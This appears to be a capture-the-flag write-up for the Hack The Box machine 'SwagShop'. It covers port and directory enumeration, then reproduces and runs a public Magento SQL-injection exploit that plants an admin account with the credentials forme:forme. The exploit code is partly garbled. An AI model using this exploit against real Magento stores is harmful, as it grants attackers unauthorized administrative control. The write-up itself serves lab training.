SwagShop Writeup
Introduction :
SwagShop is an easy Linux box that was released back in May 2019.
Part 1 : Initial Enumeration
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.

Part 2 : Getting User Access
We see that our nmap scan picked up the 80th port, let's enumerate it using dirsearch.
Ξ» nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ]
β dirsearch -u http://10.10.10.140/ -e php,html,js,txt -x 403 -r

While that runs in the background, we browse to it and see what we're dealing with.

β curl -sk http://10.10.10.140 | grep Magento
<****address class="copyright">(C) 2014 Magento Demo Store. All Rights Reserved.<**/address>
Seems like we have a Magento webserver to work with ! let's run a quick searchsploit command with the Magento command to see which exploits are publicly available for this service.

------------------------------------- ----------------------------------------
Shellcodes: No Result
Let's first locate the python script nΒ° 37977 which could possibly give us the ability to execute remote code onto the webserver.
Ξ» nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ]
β locate 37977.py
/usr/share/exploitdb/exploits/xml/webapps/37977.py
Ξ» nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ]
β cp /usr/share/exploitdb/exploits/xml/webapps/37977.py .
Now that's saved locally, we'll continue searching a bit before coming back to it. Meanwhile our dirsearch scan returned with a few results for us :

Seems like our dirsearch scan came back with a few interesting directories for us to inspect. Let's use a web browser of our choice to inspect the /app directory. For this example we'll use lynx.
Ξ» nihilist [ 10.10.14.48/23 ] [ ~/_HTB ]
β lynx http://10.10.10.140/app/
Seems like we can list it's contents ! Let's navigate into etc.
Locale.xml seems juicy.

mysql4 pdo_mysql 1 files admin
And we have credentials ! although the password seems to be encrypted. Let's return to our python script nΒ°37977 and see if we are able to execute it in either python1, 2 or 3.

Looking at the results, we see that the script has been badly written so we will re-write it.
37977.py
import requests
import base64
import sys
target = "http://10.10.10.140/"
if not target.startswith("http"):
target = "http://" + target

target_url = target + "/admin/Cms_Wysiwyg/directive/index/"
q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');

query = q.replace("\n", "").format(username="forme", password="forme")
pfilter = "popularity[from]=0&popularity;[to]=3&popularity;[field_expr]=0);{0}".format(query)

r = requests.post(target_url,

"forwarded": 1})
if r.ok:
print "WORKED"
print "Check {0}/admin with creds forme:forme".format(target)
else:
print "DID NOT WORK"
Now that the script has been re-written, we try to launch it in the same way we tried before.
Ξ» nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ]
β python 37977.py
File "37977.py", line 33
print "WORKED"
^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print("WORKED")?
Let's not forget that this script is a bit old and has got it's print statements without any parentheses so we will use python2 to launch it.
Ξ» nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ]
β python2 37977.py
DID NOT WORK
Out of luck ! That's because it's not the correct url. we need to replace the URL at the top with "http://10.10.10.140/index.php/"
Ξ» nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ]
β nano 37977.py
Ξ» nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ]
β python2 37977.py
WORKED
Check http://10.10.10.140/index.php/admin with creds forme:forme
And it worked ! let's check out the login page with the credentials forme:forme.
We have been able to log in ! Now looking back at our searchsploit results we see yet another python script that looks intersting, let's copy it into our current directory.
